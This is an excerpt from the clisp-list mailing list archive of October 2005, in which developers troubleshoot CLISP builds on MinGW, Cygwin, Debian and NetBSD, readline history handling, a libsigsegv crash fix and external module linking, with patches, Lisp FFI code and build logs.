>     $ ./configure --version
>     ./configure: line 161: ./version.sh: No such file or directory

oops, I fixed in the CVS.
thanks.

> doc/Makefile has impnotes.xml depending on it, so any attempt to build
> the documentation from scratch requires it.

doc/Makefile is developer-only.

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Sam Steingold wrote:

>>multi-line command split to separate lines after save in history
>>(~/.clisp-history) and load from it
>>
>>How correct it?
> 
> 
> try removing
> 
>           strcat(new_line,"\n");
> 
> in rd_ch_terminal3()
> maybe.
> 

it has not helped

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Sam Steingold wrote:

> apparently the internal readline screen size detection (invoked between
> your (reset-screen-size) and the first prompt output) is not too good.
> please discuss this with the readline maintainer and do report back here
> what you find out!
> 
> thanks.
> 

My bug: before call (reset-screen-size) need check rl_readline_state:

(ffi:def-c-var rl_readline_state
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and if it is zero call rl_initialize:

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-10-17 13:22:13 +0300]:
>
> Sam Steingold wrote:
>
>>>multi-line command split to separate lines after save in history
>>>(~/.clisp-history) and load from it
>>>
>>>How correct it?
>> 
>> 
>> try removing
>> 
>>           strcat(new_line,"\n");
>> 
>> in rd_ch_terminal3()
>> maybe.
>> 
>
> it has not helped
>
> Thanks!

then please debug it yourself, using gdb and readline&history manuals

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Sam Steingold wrote:

>>>>multi-line command split to separate lines after save in history
>>>>(~/.clisp-history) and load from it
>>>>
>>>>How correct it?
>>>
>>>
>>>try removing
>>>
>>>          strcat(new_line,"\n");
>>>
>>>in rd_ch_terminal3()
>>>maybe.
>>>
>>
>>it has not helped
>>
>>Thanks!
> 
> 
> then please debug it yourself, using gdb and readline&history manuals
> 

I have read manuals and source codes.
IMHO, it is necessary write own functions "write-history" and
"read-history" or replace \n by a blank (IMHO bad idea).

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Building from CVS today, MinGW / MSYS has trouble with src/makemake.in
when building modules. It may be that bash with MSYS is pretty old...
> GNU bash, version 2.04.0(1)-release (i686-pc-msys)
> Copyright 1999 Free Software Foundation, Inc.
but that is a guess.

Anyway, changing the line that begins

echotab "m=\`cd ${MODULESDIR_}\$@; pwd\`; if test -f \$@/configure -a \$@/configure -nt

to instead begin as

echotab "m=\`cd ${MODULESDIR_}\$@; pwd\`; if test -f \$@/configure -a '!' -f

seems to fix it for me.

e




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Date: Wed Oct 19 00:10:27 2005
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Doug Currie пишет:

> Anyway, changing the line that begins
> 
> echotab "m=\`cd ${MODULESDIR_}\$@; pwd\`; if test -f \$@/configure -a
> \$@/configure -nt
> 
> to instead begin as
> 
> echotab "m=\`cd ${MODULESDIR_}\$@; pwd\`; if test -f \$@/configure -a
> '!' -f
> 
> seems to fix it for me.
> 

I confirm it

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Date: Wed Oct 19 06:47:45 2005
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Yaroslav Kavenchuk wrote:

> I have read manuals and source codes.
> IMHO, it is necessary write own functions "write-history" and
> "read-history" or replace \n by a blank (IMHO bad idea).
> 

for example:

(in-package "READLINE")

(default-foreign-language :stdc)
(eval-when (compile) (setq ffi:*foreign-guard* t))

(def-c-struct HIST_ENTRY
  (line c-string)
  (timestamp c-string)
  (data c-pointer))

(def-call-out history-get (:name "history_get")
  (:library "readline5.dll")
  (:arguments (offset int)) (:return-type (c-ptr HIST_ENTRY)))

(defun write-format-history (fname)
  (with-open-file (f fname :direction :output
                           :if-exists :overwrite
                           :if-does-not-exist :create)
    (loop for i upfrom 1
          for e = (history-get i)
          while e
          do (prin1 (HIST_ENTRY-LINE e) f)
             (terpri f))))

(defun read-format-history (fname)
  (with-open-file (f fname :direction :input
                           :if-does-not-exist nil)
    (when f
      (loop for e = (read f nil nil)
            while e
            do (add-history e)))))

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Subject: [clisp-list] Re: clisp-2.35 on Windows XP dies with SIGSEGV on stack overflow...
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Date: Wed Oct 19 07:05:05 2005
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On 2005-10-12 at 16:57 T. Kurt Bond wrote:

> running on Windows XP [...]

>      *** - handle_fault error2 ! address = 0xfffffffc not in
>         [0x5ad06410,0x5ad70000)
>      !
>      SIGSEGV cannot be cured. Fault address = 0xfffffffc.

> [...]

>  The same thing happens with a locally compiled version build from CVS
>  pulled today, and my locally built libsigsegv-2.2

Please see this libsigsegv-2.2 bug report:
http://sourceforge.net/tracker/index.php?func=detail&aid=1171222&group_id=61267&atid=496662
which includes a patch to libsigsegv-2.2 for WinXP:
http://sourceforge.net/tracker/download.php?group_id=61267&atid=496662&file_id=127287&aid=1171222

There is also a fix in the libsigsegv CVS, but I have not tried it yet.

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e




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Date: Wed Oct 19 13:02:16 2005
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I'm running Common Music which needs a version of clisp 2.31 or higher.
I'm on Debian Linux, have downloaded the recent version 2.35

Here's my error message from Common Music:
  ./bin/cm.sh
[Fatal  ]  /usr/bin/clisp: version '()' unsupported.
[Notice ]  Need clisp with -repl option (version 2.31 or higher).
Aborting.


The version of clisp is not being returned:


[1]> (lisp-implementation-version)
"() (built 3335644808) (memory 3338735517)"

Here's the output of --version option:

clisp --version
GNU CLISP () (built 3335644808) (memory 3338735517)
Software: GNU C 4.0.2 20050821 (prerelease) (Debian 4.0.1-6)
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type 
-Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations 
-DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a libavcall.a libcallback.a 
/usr/lib/libreadline.so -lncurses -ldl   -L/usr/lib -lsigsegv -L/usr/X11R6/lib 
-lX11
SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS 
SPVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.2
Features:
(ASDF CLX-ANSI-COMMON-LISP CLX REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP
  CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS
  LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX)
C Modules: (clisp i18n syscalls regexp linux clx)
Installation directory: /usr/lib/clisp/
User language: ENGLISH
Machine: I686 (I686) fripp.csl.tjhsst.edu [198.38.18.6]




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Subject: [clisp-list] Re: clisp-2.35 on Windows XP dies with SIGSEGV on stack overflow...
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Doug Currie writes:
> On 2005-10-12 at 16:57 T. Kurt Bond wrote:
> 
> > running on Windows XP [...]
> 
> >      *** - handle_fault error2 ! address = 0xfffffffc not in
> >         [0x5ad06410,0x5ad70000)
> >      !
> >      SIGSEGV cannot be cured. Fault address = 0xfffffffc.
> 
> > [...]
> 
> >  The same thing happens with a locally compiled version build from CVS
> >  pulled today, and my locally built libsigsegv-2.2
> 
> Please see this libsigsegv-2.2 bug report:
> http://sourceforge.net/tracker/index.php?func=detail&aid=1171222&group_id=61267&atid=496662
> which includes a patch to libsigsegv-2.2 for WinXP:
> http://sourceforge.net/tracker/download.php?group_id=61267&atid=496662&file_id=127287&aid=1171222
> 
> There is also a fix in the libsigsegv CVS, but I have not tried it yet.

Thanks for the information.  I built clisp from today's CVS with a
libsigsegv built from today's CVS and that seems to have fixed the problem.
-- 
T. Kurt Bond, tkb@tkb.mpl.com



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Hi, you might try forcing the version using cm.sh's -V arg:

	cm.sh -V 2.35 -l clisp

for more tricks see: cm.sh -h

note that clisp-2.35 works fine on osx:

galen:/Lisp/cm hkt$ cm -l clisp
[1]>
; Installation directory: "/Lisp/cm/"
; Loading "bin/clisp_2.35_darwin-powerpc/clm-stubs.fas"
; Loading "bin/clisp_2.35_darwin-powerpc/cmn-stubs.fas"
[...]



On Oct 19, 2005, at 2:59 PM, RDLatimer wrote:

> I'm on Debian, have just installed Clisp current version 2.35,
> but Common Music isn't able to see this version number.
>
> $ ./bin/cm.sh
> [Fatal  ]  /usr/bin/clisp: version '()' unsupported.
> [Notice ]  Need clisp with -repl option (version 2.31 or higher).
> Aborting.
>
>
> I think this most current version of CLisp isn't reporting a version 
> number.  I've emailed them about this:
>
>  (lisp-implementation-version)
> "() (built 3335644808) (memory 3338735517)"
>
>
> Is there a way to let cm.sh know it's okay to continue?  I think this 
> version of Clisp is okay, it's just not returning a version number.
>
> Thanks, Randy Latimer



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Date: Wed Oct 19 17:52:16 2005
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> * RDLatimer <eqyngvzre@gwuffg.rqh> [2005-10-19 16:01:18 -0400]:
>
> I'm running Common Music which needs a version of clisp 2.31 or higher.
> I'm on Debian Linux, have downloaded the recent version 2.35

<http://clisp.cons.org/impnotes/faq.html#faq-bugs>
<http://clisp.cons.org/impnotes/clisp.html#bugs>

please look at the file unixconf.h in your build directory and check the
value of PACKAGE_VERSION
look at src/configure and search for PACKAGE_VERSION.
if they are not set to something reasonable, please make sure that your
src/configure is not corrupted.


> clisp --version
> GNU CLISP () (built 3335644808) (memory 3338735517)

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-10-18 12:19:45 +0300]:
>
> Sam Steingold wrote:
>
>>>>>multi-line command split to separate lines after save in history
>>>>>(~/.clisp-history) and load from it
>>>>>
>>>>>How correct it?
>>>>
>>>>
>>>>try removing
>>>>
>>>>          strcat(new_line,"\n");
>>>>
>>>>in rd_ch_terminal3()
>>>>maybe.
>>>>
>>>
>>>it has not helped
>>>
>>>Thanks!
>> 
>> 
>> then please debug it yourself, using gdb and readline&history manuals
>> 
>
> I have read manuals and source codes.
> IMHO, it is necessary write own functions "write-history" and
> "read-history" or replace \n by a blank (IMHO bad idea).

how does bash handle this?
(it replaces line breaks with ";")

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I took a different path - in line with existing code in unix.d
thanks for reporting the bug.
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> * Doug Currie <r@synibef.pbz> [2005-10-19 00:55:52 -0400]:
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> Building from CVS today, MinGW / MSYS has trouble with src/makemake.in
> when building modules. It may be that bash with MSYS is pretty old...

next time, please paste the error message.

this bug should be fixed in the CVS.
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> * Doug Currie <r@synibef.pbz> [2005-10-19 11:20:06 -0400]:
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> I am passing along a backtrace.

please run under gdb and report "backtrace" and "zbacktrace".
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Date: Wed Oct 19 19:14:14 2005
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Wednesday, October 19, 2005, 9:10:24 PM, Sam wrote:
> please run under gdb and report "backtrace" and "zbacktrace".

(gdb) handle all stop
(gdb) run -K full -repl -i .clisprc.lisp
Starting program: c:\Dev\clisp\clisp\build-mingw-debug/clisp.exe -K full -repl -i .clisprc.lisp
backtrace


Program exited with code 030000000005.
(gdb) (gdb) No stack.
(gdb) No stack.

(gdb) No stack.




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Sam Steingold wrote:
> this bug should be fixed in the CVS.

clisp from CVS (20.10.2005)

$ configure ... --build ...
...
;; Compiling file C:\gnu\home\src\clisp\clisp\utils\modprep.lisp ...
;; Wrote file C:\gnu\home\src\clisp\clisp\build-full\modprep.fas
0 errors, 0 warnings
../src/lndir ../modules/i18n i18n
m=`cd ../modules/i18n; pwd`; if test -f i18n/configure -a '!'
i18n/config.status ; then cd i18n ; (
cache=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; if test
-f ${cache} ; then . ${cache
}; if test "${ac_cv_env_CC_set}" = set; then CC="${ac_cv_env_CC_value}";
export CC; fi; ./configure
--cache-file=${cache} --srcdir=$m --with-dynamic-ffi --with-readline
--with-libreadline-prefix=/usr/
local --with-libtermcap-prefix=/usr/local
--with-libpcre-prefix=/usr/local --with-libpq-prefix=c:/Po
stgreSQL/8.0; else ./configure --srcdir=$m --with-dynamic-ffi
--with-readline --with-libreadline-pre
fix=/usr/local --with-libtermcap-prefix=/usr/local
--with-libpcre-prefix=/usr/local --with-libpq-pre
fix=c:/PostgreSQL/8.0; fi ) ; fi
CLISP="`pwd`/lisp.exe -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale
-Efile UTF-8 -Eterminal UTF-8 -
norc" ; cd i18n ; dots=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g' -e
's,/$,,g'` ; make clisp-module
 CC="gcc -mno-cygwin" CPPFLAGS="-I/usr/local/include" CFLAGS="-W
-Wswitch -Wcomment -Wpointer-arith
-Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2
-fexpensive-optimizations -D_W
IN32 -DUNICODE -DDYNAMIC_FFI -I." INCLUDES="$dots" CLFLAGS="-x none"
LIBS="/usr/local/lib/libintl.a
/usr/local/lib/libiconv.a libcharset.a libavcall.a libcallback.a
/usr/local/lib/libreadline.a -lterm
cap  -luser32 -lws2_32 -lole32 -loleaut32 -luuid
/usr/local/lib/libiconv.a -L/usr/local/lib -lsigseg
v" RANLIB="ranlib" CLISP="$CLISP -q"
make[1]: Entering directory `/home/src/clisp/clisp/build-full/i18n'
make[1]: *** No rule to make target `clisp-module'.  Stop.
make[1]: Leaving directory `/home/src/clisp/clisp/build-full/i18n'
make: *** [i18n] Error 2

Thanks!

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Hi,

i followed the Instructions on the Section
http://clisp.sourceforge.net/impnotes.html#modules to bind an external
module to the current clisp version.

During trying step 4 of the example

$ clisp-link add-module-set linux base base+linux

i could build a new lisp.exe but after that i cannot build my own lispinit.=
mem

$ base+mymodule/lisp.exe -B . -M base/lispinit.mem -norc -q -i
/mybindings/mymodule.fas -x '(saveinitmem
"base+mymodule/lispinit.mem")'

 the error-message of lisp.exe was:

*** - READ from #<INPUT STRING-INPUT-STREAM>: there is no package with
name "MYPACKAGE"

can anybody help me? I am using clisp 2.35.1 with cygwin.

Thanks!

Dimitrios


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> * Dimitrios Kapanikis <qvzvgevbf.xncnavxvf@tznvy.pbz> [2005-10-24 14:04:49 +0200]:
>
> i followed the Instructions on the Section
> http://clisp.sourceforge.net/impnotes.html#modules to bind an external
> module to the current clisp version.
>
> During trying step 4 of the example
>
> $ clisp-link add-module-set linux base base+linux
>
> i could build a new lisp.exe but after that i cannot build my own lispinit.mem
>
> $ base+mymodule/lisp.exe -B . -M base/lispinit.mem -norc -q -i
> /mybindings/mymodule.fas -x '(saveinitmem
> "base+mymodule/lispinit.mem")'
>
>  the error-message of lisp.exe was:
>
> *** - READ from #<INPUT STRING-INPUT-STREAM>: there is no package with
> name "MYPACKAGE"
>
> can anybody help me? I am using clisp 2.35.1 with cygwin.

<http://clisp.cons.org/impnotes/modules.html#mod-preload>

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-10-21 11:12:34 +0300]:
>
> Sam Steingold wrote:
>> this bug should be fixed in the CVS.
>
> clisp from CVS (20.10.2005)
>
> $ configure ... --build ...
> ...
> ;; Compiling file C:\gnu\home\src\clisp\clisp\utils\modprep.lisp ...
> ;; Wrote file C:\gnu\home\src\clisp\clisp\build-full\modprep.fas
> 0 errors, 0 warnings
> ../src/lndir ../modules/i18n i18n
> m=`cd ../modules/i18n; pwd`; if test -f i18n/configure -a '!'
> i18n/config.status ; then cd i18n ; (
> cache=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; if test
> -f ${cache} ; then . ${cache
> }; if test "${ac_cv_env_CC_set}" = set; then CC="${ac_cv_env_CC_value}";
> export CC; fi; ./configure
> --cache-file=${cache} --srcdir=$m --with-dynamic-ffi --with-readline
> --with-libreadline-prefix=/usr/
> local --with-libtermcap-prefix=/usr/local
> --with-libpcre-prefix=/usr/local --with-libpq-prefix=c:/Po
> stgreSQL/8.0; else ./configure --srcdir=$m --with-dynamic-ffi
> --with-readline --with-libreadline-pre
> fix=/usr/local --with-libtermcap-prefix=/usr/local
> --with-libpcre-prefix=/usr/local --with-libpq-pre
> fix=c:/PostgreSQL/8.0; fi ) ; fi
> CLISP="`pwd`/lisp.exe -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale
> -Efile UTF-8 -Eterminal UTF-8 -
> norc" ; cd i18n ; dots=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g' -e
> 's,/$,,g'` ; make clisp-module
>  CC="gcc -mno-cygwin" CPPFLAGS="-I/usr/local/include" CFLAGS="-W
> -Wswitch -Wcomment -Wpointer-arith
> -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2
> -fexpensive-optimizations -D_W
> IN32 -DUNICODE -DDYNAMIC_FFI -I." INCLUDES="$dots" CLFLAGS="-x none"
> LIBS="/usr/local/lib/libintl.a
> /usr/local/lib/libiconv.a libcharset.a libavcall.a libcallback.a
> /usr/local/lib/libreadline.a -lterm
> cap  -luser32 -lws2_32 -lole32 -loleaut32 -luuid
> /usr/local/lib/libiconv.a -L/usr/local/lib -lsigseg
> v" RANLIB="ranlib" CLISP="$CLISP -q"
> make[1]: Entering directory `/home/src/clisp/clisp/build-full/i18n'
> make[1]: *** No rule to make target `clisp-module'.  Stop.
> make[1]: Leaving directory `/home/src/clisp/clisp/build-full/i18n'
> make: *** [i18n] Error 2
>
> Thanks!

I see nothing wrong with the code, could you please investigate
yourself?
(use "set -vx" for debugging scripts, read "man bash")

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Sam Steingold wrote:

>>../src/lndir ../modules/i18n i18n
>>m=`cd ../modules/i18n; pwd`; if test -f i18n/configure -a '!'
>>i18n/config.status ; then cd i18n ; (
<skip>
> I see nothing wrong with the code, could you please investigate
> yourself?
> (use "set -vx" for debugging scripts, read "man bash")
> 

modules not configure
`if test -f i18n/configure -a '!' i18n/config.status` not work.
work `if test -f i18n/configure -a '!' -f i18n/config.status`

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>>I see nothing wrong with the code, could you please investigate
>>yourself?
>>(use "set -vx" for debugging scripts, read "man bash")
>>
> 
> 
> modules not configure
> `if test -f i18n/configure -a '!' i18n/config.status` not work.
> work `if test -f i18n/configure -a '!' -f i18n/config.status`
> 

--- makemake.in	Tue Oct 25 11:46:14 2005
+++ makemake.in	Tue Oct 25 11:46:50 2005
@@ -3304,7 +3304,7 @@
 # src/build-aux/install-sh _AND_ also its own sources, thus we must
 # point it to modules/... in the original source tree
 if [ "@TEST_NT@" = no ]; then # re-making a module requires rm -rf module
-  NEED_RECONFIGURE='test -f $@/configure -a '"'!'"' $@/config.status'
+  NEED_RECONFIGURE='test -f $@/configure -a '"'!'"' -f $@/config.status'
 else # re-making a module just works
   NEED_RECONFIGURE='test -f $@/configure -a $@/configure -nt
$@/config.status'
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I try to install clisp (on Red Hat Linux). When calling make, I get the
error messag

    /usr/bin/ld: cannot find -lsigsegv

Seems like libsigsegv is missing. Does someone know where to get it?

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Com MN PG P E B Consultant 3 writes:
> I try to install clisp (on Red Hat Linux). When calling make, I get the
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>     /usr/bin/ld: cannot find -lsigsegv
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> Seems like libsigsegv is missing. Does someone know where to get it?

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> > Seems like libsigsegv is missing. Does someone know where to get it?
>=20
> http://www.justfuckinggoogleit.com/search?q=3Dlibsigsegv

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When making clisp, I get the error message:

base/regex.o(.text+0x51f): In function `build_wcs_upper_buffer':
: undefined reference to `__ctype_toupper'

Did someone already experience a similar problem?

I'm using gcc 3.2.3 on Linux with kernel 2.4.21.

Could it be that I have an outdated libc? How can I find out,
what libc version is actually installed?

Ronald
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well, i tried with TO_PRELOAD to finish step 4 of the external module
example and that's the output:

<snip>

$ /lib/clisp/clisp-link add-module-set kivcparser base base+kivcparser
gcc -I/usr/local/libsigsegv-cygwin/include -W -Wswitch -Wcomment -Wpointer-=
arith
 -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fex=
pensi
ve-optimizations -DUNICODE -DDYNAMIC_FFI -I. -I/lib/clisp/linkkit -c module=
s.c
In file included from modules.d:11:
/lib/clisp/linkkit/clisp.h:588: Warnung: Register f"ur zwei globale Registe=
rvari
ablen verwendet
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissin=
g-dec
larations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAM=
IC_FF
I -I. -x none modules.o win32-grammar.o kivcparser.o -lm regexi.o regex.o c=
alls.
o -lcrypt -luser32 -lole32 -loleaut32 -luuid gettext.o lisp.a -lintl libcha=
rset.
a libavcall.a libcallback.a -lreadline -lncurses -liconv -L/usr/local/libsi=
gsegv
-cygwin/lib -lsigsegv -o lisp.exe
Info: resolving _rl_line_buffer by linking to __imp__rl_line_buffer (auto-i=
mport
)
Info: resolving _rl_gnu_readline_p by linking to __imp__rl_gnu_readline_p (=
auto-
import)
Info: resolving _rl_point by linking to __imp__rl_point (auto-import)
Info: resolving _rl_completion_entry_function by linking to __imp__rl_compl=
etion
_entry_function (auto-import)
Info: resolving _rl_attempted_completion_function by linking to __imp__rl_a=
ttemp
ted_completion_function (auto-import)
Info: resolving _rl_basic_word_break_characters by linking to __imp__rl_bas=
ic_wo
rd_break_characters (auto-import)
Info: resolving _rl_basic_quote_characters by linking to __imp__rl_basic_qu=
ote_c
haracters (auto-import)
Info: resolving _rl_completer_quote_characters by linking to __imp__rl_comp=
leter
_quote_characters (auto-import)
Info: resolving _rl_already_prompted by linking to __imp__rl_already_prompt=
ed (a
uto-import)
base/lisp.exe -B . -M base/lispinit.mem -norc -q -i kivcparser/../../../kiv=
cpars
erdir-2.33.2/kivcparser.fas -x (saveinitmem "base+kivcparser/lispinit.mem")
;; Loading file ../../kivcparserdir-2.33.2/kivcparser.fas ...
*** - FFI::LOOKUP-FOREIGN-FUNCTION: A foreign function "kivcparser_c_parser=
"
      does not exist

</snip>

here are also some lines of the .lisp file containing that foreign function=
:

<snip>

(def-call-in kivcparser_java_make (:arguments (cmd c-string) (len
int)) (:return-type int))

(def-call-in kivcparser_java_node (:arguments (cmd c-string) (len
int)) (:return-type int))

(def-call-in kivcparser_java_idnode (:arguments (cmd c-string))
(:return-type int))

(def-call-out kivcparser_c_parser (:arguments (s c-string :in
:malloc-free)) (:return-type int))

(def-call-out kivcparser_c_javaparser (:arguments (s c-string))
(:return-type int))

</snip>

it is the first call-out function it says it doesnt exist. i cant find
the error though. has anybody an idea?

Thanks


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> * Dimitrios Kapanikis <qvzvgevbf.xncnavxvf@tznvy.pbz> [2005-10-27 01:07:29 +0200]:
>
> base/lisp.exe -B . -M base/lispinit.mem -norc -q -i kivcparser/../../../kivcpars
> erdir-2.33.2/kivcparser.fas -x (saveinitmem "base+kivcparser/lispinit.mem")
> ;; Loading file ../../kivcparserdir-2.33.2/kivcparser.fas ...
> *** - FFI::LOOKUP-FOREIGN-FUNCTION: A foreign function "kivcparser_c_parser"
>       does not exist

does kivcparser.c (generated by (compile-file "kivcparser.lisp"))
mention kivcparser_c_parser?
where is its compilation line?
is kivcparser.o mentioned in NEW_LIBS & NEW_FILES?

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> * Com MN PG P E B Consultant 3 <za-ct-c-r-o-pbafhygnag-3.pbz@fvrzraf.pbz> [2005-10-26 09:15:40 +0200]:
>
> When making clisp, I get the error message:
>
> base/regex.o(.text+0x51f): In function `build_wcs_upper_buffer':
> : undefined reference to `__ctype_toupper'
>
> Did someone already experience a similar problem?
>
> I'm using gcc 3.2.3 on Linux with kernel 2.4.21.

regex comes from gnulib - please report this problem to the gnulib
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> does kivcparser.c (generated by (compile-file "kivcparser.lisp"))
> mention kivcparser_c_parser?

yes it is mentioned there:

<snip file=3D"kivcparser.c">

extern int (kivcparser_c_parser)();
extern int (kivcparser_c_javaparser)();
extern int (kivcparser_get_textpointer)();
extern int (kivcparser_get_tokenstart)();

void module__kivcparser__init_function_1 (module_t* module);

void module__kivcparser__init_function_2 (module_t* module);

void module__kivcparser__fini_function (module_t* module);


void module__kivcparser__init_function_1 (module_t* module)
{
}

void module__kivcparser__init_function_2 (module_t* module)
{
  register_foreign_function((void*)&kivcparser_c_parser,"kivcparser_c_parse=
r",1024);
  register_foreign_function((void*)&kivcparser_c_javaparser,"kivcparser_c_j=
avaparser",1024);
  register_foreign_function((void*)&kivcparser_get_textpointer,"kivcparser_=
get_textpointer",1024);
  register_foreign_function((void*)&kivcparser_get_tokenstart,"kivcparser_g=
et_tokenstart",1024);
}

</snip>

> where is its compilation line?

the above code is the last 25 lines of the code or what do you mean
with compilation line?

> is kivcparser.o mentioned in NEW_LIBS & NEW_FILES?

yes it is mentioned

<snip file=3D"link.sh">

file_list=3D'win32-grammar.o'
mod_list=3D''
if test -r kivcparser.c; then
  file_list=3D"$file_list"' kivcparser.o'
  mod_list=3D"$mod_list"' kivcparser'
fi
make clisp-module CC=3D"${CC}" CPPFLAGS=3D"${CPPFLAGS}" CFLAGS=3D"${CFLAGS}=
"
INCLUDES=3D"$absolute_linkkitdir"
NEW_FILES=3D"$file_list"
NEW_LIBS=3D"$file_list -lm"
NEW_MODULES=3D"$mod_list"
TO_PRELOAD=3D'../../../kivcparserdir-2.33.2/kivcparser.fas'

</snip>


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> * Dimitrios Kapanikis <qvzvgevbf.xncnavxvf@tznvy.pbz> [2005-10-27 09:29:06 +0200]:
>
>> does kivcparser.c (generated by (compile-file "kivcparser.lisp"))
>> mention kivcparser_c_parser?
>
> yes it is mentioned there:
>
>> where is its compilation line?
>
> the above code is the last 25 lines of the code or what do you mean
> with compilation line?

gcc ... -c kivcparser.c

>> is kivcparser.o mentioned in NEW_LIBS & NEW_FILES?
>
> yes it is mentioned
>
> <snip file="link.sh">
>
> file_list='win32-grammar.o'
> mod_list=''
> if test -r kivcparser.c; then
>   file_list="$file_list"' kivcparser.o'
>   mod_list="$mod_list"' kivcparser'
> fi
> make clisp-module CC="${CC}" CPPFLAGS="${CPPFLAGS}" CFLAGS="${CFLAGS}"
> INCLUDES="$absolute_linkkitdir"
> NEW_FILES="$file_list"
> NEW_LIBS="$file_list -lm"

are you really using libm.so?

> NEW_MODULES="$mod_list"
> TO_PRELOAD='../../../kivcparserdir-2.33.2/kivcparser.fas'
>
> </snip>

is kivcparser.o actually generated?

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I'm trying to build clisp cvs on NetBSD/powerpc, but the build stops
at modules.  I pasted the last screenfull of messages below.  What can
be done about this?


sed -e 's%@with_dynamic_modules@%no%' -e 's%@createsharedlib@%%' -e 's%@LEXE@%.run%' -e 's%@SHREXT@%.so%'< ../src/clisp-link.in > clisp-link
chmod a+x clisp-link
gcc -I/usr/local/include -I/usr/pkg/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE -I. -DCOMPILE_STANDALONE -O0 -c genclisph.c
In file included from genclisph.d:7:
lispbibl.d:8965: warning: volatile register variables don't work as you might wish
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE -I. -L/usr/local/lib -L/usr/pkg/lib  -x none genclisph.o -o genclisph
(echo '#ifndef _CLISP_H' ; echo '#define _CLISP_H' ; echo; echo '/* unixconf */' ; grep '^#' unixconf.h ) > clisp.h
(echo; echo '/* 'intparam.h' */' ; grep '^#' intparam.h ) >> clisp.h
(echo; echo '/* 'floatparam.h' */' ; grep '^#' floatparam.h ) >> clisp.h
(echo; echo '/* genclisph */' ; ./genclisph clisp-test.c; echo ; echo '#endif /* _CLISP_H */') >> clisp.h
writing test file clisp-test.c
wrote 160 tests (150 typedefs, 10 defines)
gcc -I/usr/local/include -I/usr/pkg/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE -I. -L/usr/local/lib -L/usr/pkg/lib  -x none -DUSE_CLISP_H=1 -DCOMPILE_STANDALONE clisp-test.c -o clisp-test-clisp
gcc -I/usr/local/include -I/usr/pkg/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE -I. -L/usr/local/lib -L/usr/pkg/lib  -x none -DUSE_CLISP_H=0 -DCOMPILE_STANDALONE clisp-test.c -o clisp-test-lispbibl
In file included from clisp-test.c:5:
lispbibl.d:8965: warning: volatile register variables don't work as you might wish
./clisp-test-clisp > clisp-test-clisp.out
./clisp-test-lispbibl > clisp-test-lispbibl.out
cmp clisp-test-clisp.out clisp-test-lispbibl.out
if grep lispbibl.d clisp.h; then false; else true; fi
rm -f genclisph clisp-test-clisp clisp-test-lispbibl clisp-test-clisp.out clisp-test-lispbibl.out
rm -f modprep.lisp
ln -s ../utils/modprep.lisp modprep.lisp
rm -rf linkkit
mkdir linkkit
cd linkkit && ln -s ../modules.d modules.d
cd linkkit && ln -s ../modules.c modules.c
cd linkkit && ln -s ../clisp.h clisp.h
cd linkkit && ln -s ../modprep.lisp modprep.lisp
(echo 'CC='"'"'gcc'"'" ; echo 'CPPFLAGS='"'"'-I/usr/local/include -I/usr/pkg/include'"'" ; echo 'CFLAGS='"'"'-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNICODE -I.'"'" ; echo 'CLFLAGS='"'"'-L/usr/local/lib -L/usr/pkg/lib  -x none'"'" ; echo 'LIBS='"'"'lisp.a /usr/pkg/lib/libintl.so -lc -Wl,-rpath -Wl,/usr/pkg/lib libcharset.a /usr/pkg/lib/libreadline.so -Wl,-rpath -Wl,/usr/pkg/lib -lncurses  /usr/pkg/lib/libiconv.so -Wl,-rpath -Wl,/usr/pkg/lib -L/usr/local/lib -lsigsegv -lc'"'" ; echo 'X_LIBS='"'"'-L/usr/X11R6/lib -lX11'"'" ; echo 'RANLIB='"'"'ranlib'"'" ; echo 'FILES='"'"'lisp.a libnoreadline.a libcharset.a '"'") > makevars
./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -M lispinit.mem -q -c ../utils/modprep.lisp -o modprep.fas
;; Compiling file /home/magnus/noarchive/src/clisp-cvs/utils/modprep.lisp ...
;; Wrote file /home/magnus/noarchive/src/clisp-cvs/build/modprep.fas
0 errors, 0 warnings
../src/lndir ../modules/i18n i18n
m=`cd ../modules/i18n; pwd`; if test -f i18n/configure -a i18n/configure -nt i18n/config.status ; then cd i18n ; ( cache=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; if test -f ${cache} ; then . ${cache}; if test "${ac_cv_env_CC_set}" = set; then CC="${ac_cv_env_CC_value}"; export CC; fi; ./configure --cache-file=${cache} --srcdir=$m ; else ./configure --srcdir=$m ; fi ) ; fi
